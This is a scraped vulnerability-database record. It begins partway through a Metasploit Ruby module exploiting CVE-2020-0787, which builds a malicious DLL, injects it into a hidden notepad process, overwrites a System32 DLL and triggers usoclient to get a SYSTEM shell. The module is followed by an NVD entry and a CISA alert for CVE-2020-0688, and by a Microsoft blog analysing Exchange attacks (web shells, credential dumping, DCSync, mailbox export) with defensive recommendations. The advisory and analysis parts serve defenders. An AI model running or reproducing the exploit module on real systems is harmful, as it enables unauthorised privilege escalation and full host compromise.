20])\n ])\n end\n\n def target_not_presently_supported\n print_warning('This target is not presently supported by this exploit. Support may be added in the future!')\n print_warning('Attempts to exploit this target with this module WILL NOT WORK!')\n end\n\n def check\n sysinfo_value = sysinfo['OS']\n\n if sysinfo_value !~ /windows/i\n # Non-Windows systems are definitely not affected.\n return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')\n end\n\n # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.\n build_num_raw = session.shell_command_token('cmd.exe /c ver')\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)\n if build_num.nil?\n print_error(\"Couldn't retrieve the target's build number!\")\n else\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0]\n print_status(\"Target's build number: #{build_num}\")\n end\n\n # see https://docs.microsoft.com/en-us/windows/release-information/\n unless sysinfo_value =~ /(7|8|8\\.1|10|2008|2012|2016|2019|1803|1903)/\n return CheckCode::Safe('Target is not running a vulnerable version of Windows!')\n end\n\n build_num_gemversion = Gem::Version.new(build_num)\n\n # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/\n if (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.719')) # Windows 10 v1909\n return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.719')) # Windows 10 v1903\n return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1098')) # Windows 10 v1809\n return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1365')) # Windows 10 v1803\n return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.16299.0')) && (build_num_gemversion < Gem::Version.new('10.0.16299.1747')) # Windows 10 v1709\n return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.15063.0')) && (build_num_gemversion < Gem::Version.new('10.0.15063.2313')) # Windows 10 v1703\n return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.14393.0')) && (build_num_gemversion < Gem::Version.new('10.0.14393.3564')) # Windows 10 v1607\n return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.10586.0')) && (build_num_gemversion < Gem::Version.new('10.0.10586.9999999')) # Windows 10 v1511\n return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('10.0.10240.0')) && (build_num_gemversion < Gem::Version.new('10.0.10240.18519')) # Windows 10 v1507\n return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('6.3.9600.0')) && (build_num_gemversion < Gem::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2\n target_not_presently_supported\n return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('6.2.9200.0')) && (build_num_gemversion < Gem::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012\n target_not_presently_supported\n return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2\n target_not_presently_supported\n return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')\n elsif (build_num_gemversion >= Gem::Version.new('6.0.6001.0')) && (build_num_gemversion < Gem::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2\n target_not_presently_supported\n return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')\n else\n return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')\n end\n end\n\n def check_target_is_running_supported_windows_version\n if sysinfo['OS'].match('Windows').nil?\n fail_with(Failure::NotVulnerable, 'Target is not running Windows!')\n elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?\n fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')\n end\n end\n\n def check_target_and_payload_match_and_supported(client_arch)\n if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)\n fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')\n end\n payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.\n if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)\n fail_with(Failure::BadConfig, \"Unsupported payload architecture (#{payload_arch})\") # Unsupported architecture, so return an error.\n end\n if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))\n fail_with(Failure::BadConfig, \"Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!\")\n end\n end\n\n def check_windowscoredeviceinfo_dll_exists_on_target\n # Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code.\n #\n # We are going to overwrite the WindowsCoreDeviceInfo.dll DLL as part of our exploit.\n # The second part of this exploit will trigger a Update Session to be created so that this DLL\n # is loaded, which will result in arbitrary code execution as SYSTEM.\n #\n # To prevent any errors, we will first check that this file doesn't exist and ask the user if they are sure\n # that they want to overwrite the file.\n win_dir = session.sys.config.getenv('windir')\n normal_target_payload_pathname = \"#{win_dir}\\\\System32\\\\WindowsCoreDeviceInfo.dll\"\n wow64_target_payload_pathname = \"#{win_dir}\\\\Sysnative\\\\WindowsCoreDeviceInfo.dll\"\n wow64_existing_file = \"#{win_dir}\\\\Sysnative\\\\win32k.sys\"\n if file?(wow64_existing_file)\n if file?(wow64_target_payload_pathname)\n print_warning(\"#{wow64_target_payload_pathname} already exists\")\n print_warning('If it is in use, the overwrite will fail')\n unless datastore['OVERWRITE_DLL']\n print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')\n fail_with(Failure::BadConfig, \"#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false\")\n end\n end\n target_payload_pathname = wow64_target_payload_pathname\n elsif file?(normal_target_payload_pathname)\n print_warning(\"#{normal_target_payload_pathname} already exists\")\n print_warning('If it is in use, the overwrite will fail')\n unless datastore['OVERWRITE_DLL']\n print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')\n fail_with(Failure::BadConfig, \"#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false\")\n end\n target_payload_pathname = normal_target_payload_pathname\n end\n target_payload_pathname\n end\n\n def launch_background_injectable_notepad\n print_status('Launching notepad to host the exploit...')\n notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)\n process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)\n print_good(\"Process #{process.pid} launched.\")\n process\n rescue Rex::Post::Meterpreter::RequestError\n # Sandboxes could not allow to create a new process\n # stdapi_sys_process_execute: Operation failed: Access is denied.\n print_error('Operation failed. Trying to elevate the current process...')\n process = client.sys.process.open\n process\n end\n\n def exploit\n # NOTE: Automatic check is implemented by the AutoCheck mixin\n super\n\n # Step 1: Check target environment is correct.\n print_status('Step #1: Checking target environment...')\n if is_system?\n fail_with(Failure::None, 'Session is already elevated')\n end\n client_arch = sysinfo['Architecture']\n check_target_is_running_supported_windows_version\n check_target_and_payload_match_and_supported(client_arch)\n check_windowscoredeviceinfo_dll_exists_on_target\n\n # Step 2: Generate the malicious DLL and upload it to a temp location.\n print_status('Step #2: Generating the malicious DLL...')\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787')\n datastore['EXE::Path'] = path\n if client_arch =~ /x86/i\n datastore['EXE::Template'] = ::File.join(path, 'template_x86_windows.dll')\n library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x86.dll')\n library_path = ::File.expand_path(library_path)\n elsif client_arch =~ /x64/i\n datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')\n library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x64.dll')\n library_path = ::File.expand_path(library_path)\n end\n\n payload_dll = generate_payload_dll\n print_status(\"Payload DLL is #{payload_dll.length} bytes long\")\n temp_directory = session.sys.config.getenv('%TEMP%')\n malicious_dll_location = \"#{temp_directory}\\\\\" + Rex::Text.rand_text_alpha(6..13) + '.dll'\n write_file(malicious_dll_location, payload_dll)\n register_file_for_cleanup(malicious_dll_location)\n\n # Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.\n print_status('Step #3: Loading the exploit DLL to run the main exploit...')\n process = launch_background_injectable_notepad\n\n print_status(\"Injecting DLL into #{process.pid}...\")\n exploit_mem, offset = inject_dll_into_process(process, library_path)\n\n dll_info_parameter = malicious_dll_location.to_s\n payload_mem = inject_into_process(process, dll_info_parameter)\n\n # invoke the exploit, passing in the address of the payload that\n # we want invoked on successful exploitation.\n print_status('DLL injected. Executing injected DLL...')\n process.thread.create(exploit_mem + offset, payload_mem)\n\n print_status(\"Sleeping for #{datastore['JOB_WAIT_TIME']} seconds to allow the exploit to run...\")\n sleep datastore['JOB_WAIT_TIME']\n\n register_file_for_cleanup('C:\\\\Windows\\\\System32\\\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up.\n # Normally we can't delete this file though as there will be a SYSTEM service that has a handle to this file.\n\n print_status(\"Starting the interactive scan job...\")\n # Step 4: Execute `usoclient StartInteractiveScan` to trigger the payload\n # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.\n session.shell_command_token('usoclient StartInteractiveScan')\n\n print_status(\"Enjoy the shell!\")\n end\nend\n", "sourceHref": "https://0day.today/exploit/34553", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2022-03-23T11:42:48", "description": "A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory, aka 'Microsoft Exchange Memory Corruption Vulnerability'.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-11T22:15:00", "type": "cve", "title": "CVE-2020-0688", "cwe": ["CWE-798"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-12-30T22:08:00", "cpe": ["cpe:/a:microsoft:exchange_server:2013", "cpe:/a:microsoft:exchange_server:2016", "cpe:/a:microsoft:exchange_server:2010", "cpe:/a:microsoft:exchange_server:2019"], "id": "CVE-2020-0688", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-0688", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_14:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_15:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_3:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2010:sp3_rollup_30:*:*:*:*:*:*", "cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_4:*:*:*:*:*:*"]}], "cisa": [{"lastseen": "2021-02-24T18:06:52", "description": "Microsoft Exchange Servers affected by a remote code execution vulnerability, known as CVE-2020-0688, continue to be an attractive target for malicious cyber actors. A remote attacker can exploit this vulnerability to take control of an affected system that is unpatched.\n\nAlthough Microsoft disclosed the vulnerability and provided software patches for the various affected products in February 2020, advanced persistent threat actors are targeting unpatched servers, according to recent open-source reports. The Cybersecurity and Infrastructure Security Agency (CISA) urges users and administrators review [Microsoft\u2019s Advisory](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) and the [National Security Agency\u2019s tweet](<https://twitter.com/NSAGov/status/1236099750610563074>) on CVE-2020-0688 for more information and apply the necessary patches as soon as possible.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-10T00:00:00", "type": "cisa", "title": "Unpatched Microsoft Exchange Servers Vulnerable to CVE-2020-0688", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-10T00:00:00", "id": "CISA:18E5825084F7681AD375ACB5B1270280", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "mssecure": [{"lastseen": "2020-06-26T22:16:11", "description": "Securing Exchange servers is one of the most important things defenders can do to limit organizational exposure to attacks. Any threat or vulnerability impacting Exchange servers should be treated with the highest priority because these servers contain critical business data, as well as highly privileged accounts that attackers attempt to compromise to gain admin rights to the server and, consequently, complete control of the network.\n\nIf compromised, Exchange servers provide a unique environment that could allow attackers to perform various tasks using the same built-in tools or scripts that admins use for maintenance. This is exacerbated by the fact that Exchange servers have traditionally lacked antivirus solutions, network protection, the latest security updates, and proper security configuration, often intentionally, due to the misguided notion that these protections interfere with normal Exchange functions. Attackers know this, and they leverage this knowledge to gain a stable foothold on a target organization.\n\nThere are two primary ways in which Exchange servers are compromised. The first and more common scenario is attackers launching social engineering or drive-by download attacks targeting endpoints, where they steal credentials and move laterally to other endpoints in a progressive dump-escalate-move method until they gain access to an Exchange server.\n\nThe second scenario is where attackers exploit a remote code execution vulnerability affecting the underlying Internet Information Service (IIS) component of a target Exchange server. This is an attacker\u2019s dream: directly landing on a server and, if the server has misconfigured access levels, gain system privileges.\n\nThe first scenario is more common, but we\u2019re seeing a rise in attacks of the second variety; specifically, attacks that exploit Exchange vulnerabilities like [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>). The [security update](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) that fixes this vulnerability has been available for several months, but, notably, to this day, attackers find vulnerable servers to target.\n\nIn many cases, after attackers gain access to an Exchange server, what follows is the deployment of web shell into one of the many web accessible paths on the server. As we discussed in a previous blog, [web shells](<https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/>) allow attackers to steal data or perform malicious actions for further compromise.\n\n## Behavior-based detection and blocking of malicious activities on Exchange servers\n\nAdversaries like using web shells, which are relatively small pieces of malicious code written in common programming languages, because these can be easily modified to evade traditional file-based protections. A more durable approach to detecting web shell activity involves profiling process activities originating from external-facing Exchange applications.\n\n[Behavior-based blocking and containment](<https://www.microsoft.com/security/blog/2020/03/09/behavioral-blocking-and-containment-transforming-optics-into-protection/>) capabilities in Microsoft Defender ATP, which use engines that specialize in [detecting threats by analyzing behavior](<https://www.microsoft.com/security/blog/2019/10/08/in-hot-pursuit-of-elusive-threats-ai-driven-behavior-based-blocking-stops-attacks-in-their-tracks/>), surface suspicious and malicious activities on Exchange servers. These detection engines are powered by cloud-based machine learning classifiers that are trained by expert-driven profiling of legitimate vs. suspicious activities in Exchange servers.\n\nIn April, multiple Exchange-specific behavior-based detections picked up unusual activity. The telemetry showed attackers operating on on-premises Exchange servers using deployed web shells. Whenever attackers interacted with the web shell, the hijacked application pool ran the command on behalf of the attacker, generating an interesting process chain. Common services, for example Outlook on the web (formerly known as Outlook Web App or OWA) or Exchange admin center (EAC; formerly known as the Exchange Control Panel or ECP), executing _net.exe_, _cmd.exe_, and other known living-off-the-land binaries ([LOLBins](<https://github.com/LOLBAS-Project/LOLBAS/blob/master/README.md>)) like _mshta.exe_ is very suspicious and should be further investigated.\n\n\n\n_Figure 1. Behavior-based detections of attacker activity on Exchange servers_\n\nIn this blog, we\u2019ll share our investigation of the Exchange attacks in early April, covering multiple campaigns occurring at the same time. The data and techniques from this analysis make up an anatomy of Exchange server attacks. Notably, the attacks used multiple fileless techniques, adding another layer of complexity to detecting and resolving these threats, and demonstrating how behavior-based detections are key to protecting organizations.\n\n[](<https://www.microsoft.com/security/blog/wp-content/uploads/2020/06/Exchange-servers-attack-chain-2.png>)\n\n_Figure 2. Anatomy of an Exchange server attack_\n\n## Initial access: Web shell deployment\n\nAttackers started interacting with target Exchange servers through web shells they had deployed. Any path accessible over the internet is a potential target for web shell deployment, but in these attacks, the most common client access paths were:\n\n * _%ProgramFiles%\\Microsoft\\Exchange Server\\<version>\\ClientAccess_\n * _%ProgramFiles%\\Microsoft\\Exchange Server\\<version>\\FrontEnd_\n\nThe ClientAccess and FrontEnd directories provide various client access services such as Outlook on the web, EAC, and AutoDiscover, to name a few. These IIS virtual directories are automatically configured during server installation and provide authentication and proxy services for internal and external client connections.\n\nThese directories should be monitored for any new file creation. While file creation events alone cannot be treated as suspicious, correlating such events with the responsible process results in more reliable signals. Common services like OWA or ECP dropping _.aspx_ or _.ashx_ files in any of the said directories is highly suspicious.\n\nIn our investigation, most of these attacks used the [China Chopper](<https://attack.mitre.org/software/S0020/>) web shell. The attackers tried to blend the web shell script file with other _.aspx_ files present on the system by using common file names. In many cases, hijacked servers used the \u2018echo\u2019 command to write the web shell. In other cases, _certutil.exe_ or _powershell.exe_ were used. Here are some examples of the China Chopper codes that were dropped in these attacks:\n\n\n\nWe also observed the attackers switching web shells or introducing two or more for various purposes. In one case, the attackers created an _.ashx_ version of a popular, publicly available _.aspx_ web shell, which exposes minimum functionality:\n\n\n\n[](<https://www.microsoft.com/security/blog/wp-content/uploads/2020/06/A-suspicious-web-script-was-created.png>)\n\n_Figure 3. Microsoft Defender ATP alert for web shell_\n\n## Reconnaissance\n\nAfter web shell deployment, attackers typically ran an initial set of exploratory commands like _whoami_, _ping_, and _net user_. In most cases, the hijacked application pool services were running with system privileges, giving attackers the highest privilege.\n\nAttackers enumerated all local groups and members on the domain to identify targets. Interestingly, in some campaigns, attackers used open-source user group enumerating tools like _lg.exe_ instead of the built-in _net.exe_. Attackers also used the [EternalBlue](<https://www.microsoft.com/security/blog/2017/06/16/analysis-of-the-shadow-brokers-release-and-mitigation-with-windows-10-virtualization-based-security/>) exploit and _nbtstat_ scanner to identify vulnerable machines on the network.\n\n\n\nNext, the attackers ran built-in Exchange Management Shell cmdlets to gain more information about the exchange environment. Attackers used these cmdlets to perform the following:\n\n * List all Exchange admin center virtual directories in client access services on all Mailbox servers in the network\n * Get a summary list of all the Exchange servers in the network\n * Get information on mailboxes, such as size and number of items, along with role assignments and permissions.\n\n\n\n[](<https://www.microsoft.com/security/blog/wp-content/uploads/2020/06/Anomalous-account-lookups.png>)\n\n_Figure 4. Microsoft Defender ATP alert showing process tree for anomalous account lookups_\n\n## Persistence\n\nOn misconfigured servers where they have gained the highest privileges, attackers were able to add a new user account on the server. This gave the attackers the ability to access the server without the need to deploy any remote access tools.\n\nThe attackers then added the newly created account to high-privilege groups like Administrators, Remote Desktop Users, and Enterprise Admins, practically making the attackers a domain admin with unrestricted access to any users or group in the organization.\n\n\n\n[](<https://www.microsoft.com/security/blog/wp-content/uploads/2020/06/New-local-admin-added-using-Net-commands.png>)\n\n_Figure 5. Microsoft Defender ATP alert showing process tree for addition of local admin using Net commands_\n\n## Credential access\n\nExchange servers contain the most sensitive users and groups in an organization. Gaining credentials to these accounts could virtually give attackers domain admin privileges.\n\nIn our investigation, the attackers first dumped user hashes by saving the Security Account Manager (SAM) database from the registry.\n\n\n\nNext, the attackers used the ProcDump tool to dump the Local Security Authority Subsystem Service (LSASS) memory. The dumps were later archived and uploaded to a remote location.\n\n\n\nIn some campaigns, attackers dropped Mimikatz and tried to dump hashes from the server.\n\n\n\n[](<https://www.microsoft.com/security/blog/wp-content/uploads/2020/06/Malicious-credential-theft-tool-execution-detected.png>)\n\n_Figure 6. Microsoft Defender ATP alert on detection of Mimikatz_\n\nIn environments where Mimiktaz was blocked, attackers dropped a modified version with hardcoded implementation to avoid detection. Attackers also added a wrapper written in the Go programming language to make the binary more than 5 MB. The binary used the open-source MemoryModule library to load the binary using [reflective DLL injection](<https://www.microsoft.com/security/blog/2017/11/13/detecting-reflective-dll-loading-with-windows-defender-atp/>). Thus, the payload never touched the disk and was present only in memory, achieving a fileless persistence.\n\nThe attackers also enabled \u2018_wdigest_\u2019 registry settings, which forced the system to use WDigest protocol for authentication, resulting in _lsass.exe_ retaining a copy of the user\u2019s plaintext password in memory. This change allowed the attacker to steal the actual password, not just the hash.\n\n\n\n\n\nAnother example of stealthy execution that attackers implemented was creating a wrapper binary for ProcDump and Mimikatz. When run, the tool dropped and executed the ProcDump binary to dump the LSASS memory. The memory dump was loaded inside the same binary and parsed to extract passwords, another example of [reflective DLL injection](<https://www.microsoft.com/security/blog/2017/11/13/detecting-reflective-dll-loading-with-windows-defender-atp/>) where the Mimikatz binary was present only in memory.\n\n\n\nWith attacker-controlled accounts now part of Domain Admins group, the attackers performed a technique called [DCSYNC](<https://attack.mitre.org/techniques/T1003/>) attack, which abuses the Active Directory replication capability to request account information, such as the NTLM hashes of all the users\u2019 passwords in the organization. This technique is extremely stealthy because it can be performed without running a single command on the actual domain controller.\n\n\n\n## Lateral movement\n\nIn these attacks, the attackers used several known methods to move laterally:\n\n * The attackers heavily abused WMI for executing tools on remote systems.\n\n\n\n * The attackers also used other techniques such as creating service or schedule task on remote systems.\n\n\n\n\n\n * In some cases, the attackers simply run commands on remote systems using PsExec.\n\n\n\n## Exchange Management Shell abuse\n\nThe Exchange Management Shell is the PowerShell interface for administrators to manage the Exchange server. As such, it exposes many critical Exchange PowerShell cmdlets to allow admins to perform various maintenance tasks, such as assigning roles and permissions, and migration, including importing and exporting mailboxes. These cmdlets are available only on Exchange servers in the Exchange Management Shell or through remote PowerShell connections to the Exchange server.\n\nTo understand suspicious invocation of the Exchange Management Shell, we need to go one step back in the process chain and analyze the responsible process. As mentioned, common application pools_ MSExchangeOWAAppPool_ or _MSExchangeECPAppPool _accessing the shell should be considered suspicious.\n\nIn our investigation, attackers leveraged these admin cmdlets to perform critical tasks such as exporting mailboxes or running arbitrary scripts. Attackers used different ways to load and run PowerShell cmdlets through the Exchange Management Shell.\n\n\n\nIn certain cases, attackers created a PowerShell wrapper around the commands to effectively hide behind legitimate PowerShell activity.\n\n\n\nThese cmdlets allowed the attackers to perform the following:\n\n * Search received email\n\nIn our investigations, attackers were primarily interested in received emails. They searched for message delivery information filtered by the event \u2018Received\u2019. The search time frame showed the attackers were initially interested in the entire log history. Later, a similar command was run with a trimmed timeline of one year.\n\n\n\n * Export mailbox\n\nAttackers exported mailboxes through these four steps:\n\n 1. 1. Granted _ApplicationImpersnation_ role to the attacker-controlled account. This effectively allowed the supplied account to access all mailboxes in the organization.\n 2. Granted \u2018Mailbox Import Export\u2019 role to the attacker-controlled account. This role is required to be added before attempting mailbox export.\n 3. Exported the mailbox with filter \u201c_Received -gt \u201801/01/2020 0:00:00_\u2019\u201d.\n 4. Removed the mailbox export request to avoid raising suspicion.\n\n\n\n\n\n## Tampering with security tools\n\nAs part of lateral movement, the attackers attempted to disable Microsoft Defender Antivirus. Attackers also disabled archive scanning to bypass detection of tools and data compressed in .zip files, as well as created exclusion for _.dat_ extension. The attackers tried to disable automatic updates to avoid any detection by new intelligence updates. For Microsoft Defender ATP customers, [tamper protection](<https://docs.microsoft.com/windows/security/threat-protection/windows-defender-antivirus/prevent-changes-to-security-settings-with-tamper-protection>) prevents such malicious and unauthorized changes to security settings.\n\n\n\n## Remote access\n\nThe next step for attackers was to create a network architecture using port forwarding tools like _plink.exe_, a command line connection tool like _ssh_. Using these tools allowed attackers to bypass network restrictions and remotely access machines through Remote Desktop Protocol (RDP). This is a very stealthy technique: attackers reused dumped credentials to access the machines through encrypted tunneling software, eliminating the need to deploy backdoors, which may have a high chance of getting detected.\n\n\n\n## Exfiltration\n\nFinally, dumped data was compressed using the utility tool _rar.exe. _The compressed data mostly comprised of the extracted _.pst_ files, along with memory dumps.\n\n\n\n# Improving defenses against Exchange server compromise\n\nAs these attacks show, Exchange servers are high-value targets. These attacks also tend to be advanced threats with highly evasive, fileless techniques. For example, at every stage in the attack chain above, the attackers abused existing tools (LOLBins) and scripts to accomplish various tasks. Even in cases where non-system binaries were introduced, they were either legitimate and signed, like _plink.exe_, or just a proxy for the malicious binary, for example, the modified Mimikatz where the actual malicious payload never touched the disk.\n\nKeeping these servers safe from these advanced attacks is of utmost importance. Here are steps that organizations can take to ensure they don\u2019t fall victim to Exchange server compromise.\n\n 1. Apply the latest security updates\n\nIdentify and remediate vulnerabilities or misconfigurations in Exchange servers. Deploy the latest security updates, especially for server components like Exchange, as soon as they become available. Specifically, check that the patches for CVE-2020-0688 is in place. Use [threat and vulnerability management](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-atp/next-gen-threat-and-vuln-mgt>) to audit these servers regularly for vulnerabilities, misconfigurations, and suspicious activity.\n\n 2. Keep antivirus and other protections enabled\n\nIt\u2019s critical to protect Exchange servers with [antivirus software](<https://docs.microsoft.com/exchange/antispam-and-antimalware/windows-antivirus-software?view=exchserver-2019>) and other security solutions like firewall protection and MFA. [Turn on cloud-delivered protection](<https://docs.microsoft.com/windows/security/threat-protection/windows-defender-antivirus/enable-cloud-protection-windows-defender-antivirus>) and automatic sample submission to use artificial intelligence and machine learning to quickly identify and stop new and unknown threats. Use [attack surface reduction rules](<https://docs.microsoft.com/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard>) to automatically block behaviors like credential theft and suspicious use of PsExec and WMI. Turn on [tamper protection](<https://techcommunity.microsoft.com/t5/Microsoft-Defender-ATP/Tamper-protection-now-generally-available-for-Microsoft-Defender/ba-p/911482>) features to prevent attackers from stopping security services.\n\nIf you are worried that these security controls will affect performance or disrupt operations, engage with IT pros to help determine the true impact of these settings. Security teams and IT pros should collaborate on applying mitigations and appropriate [settings](<https://docs.microsoft.com/exchange/antispam-and-antimalware/windows-antivirus-software>).\n\n 3. Review sensitive roles and groups\n\nReview highly privileged groups like Administrators, Remote Desktop Users, and Enterprise Admins. Attackers add accounts to these groups to gain foothold on a server. Regularly review these groups for suspicious additions or removal. To identify Exchange-specific anomalies, review the list of users in sensitive roles such as _mailbox import export_ and _Organization Management_ using the _Get-ManagementRoleAssignment_ cmdlet in Exchange PowerShell.\n\n 4. Restrict access\n\nPractice the principle of least-privilege and maintain credential hygiene. Avoid the use of domain-wide, admin-level service accounts. Enforce [strong randomized, just-in-time local administrator passwords](<https://docs.microsoft.com/windows-server/identity/securing-privileged-access/securing-privileged-access#2-just-in-time-local-admin-passwords>) and Enable MFA. Use tools like [LAPS](<https://technet.microsoft.com/en-us/mt227395.aspx>).\n\nPlace access control list (ACL) restrictions on ECP and other virtual directories in IIS. Don\u2019t expose the ECP directory to the web if it isn\u2019t necessary and to anyone in the company who doesn\u2019t need to access it. Apply similar restrictions to other application pools.\n\n 5. Prioritize alerts\n\nThe distinctive patterns of Exchange server compromise aid in detecting malicious behaviors and inform security operations teams to quickly respond to the initial 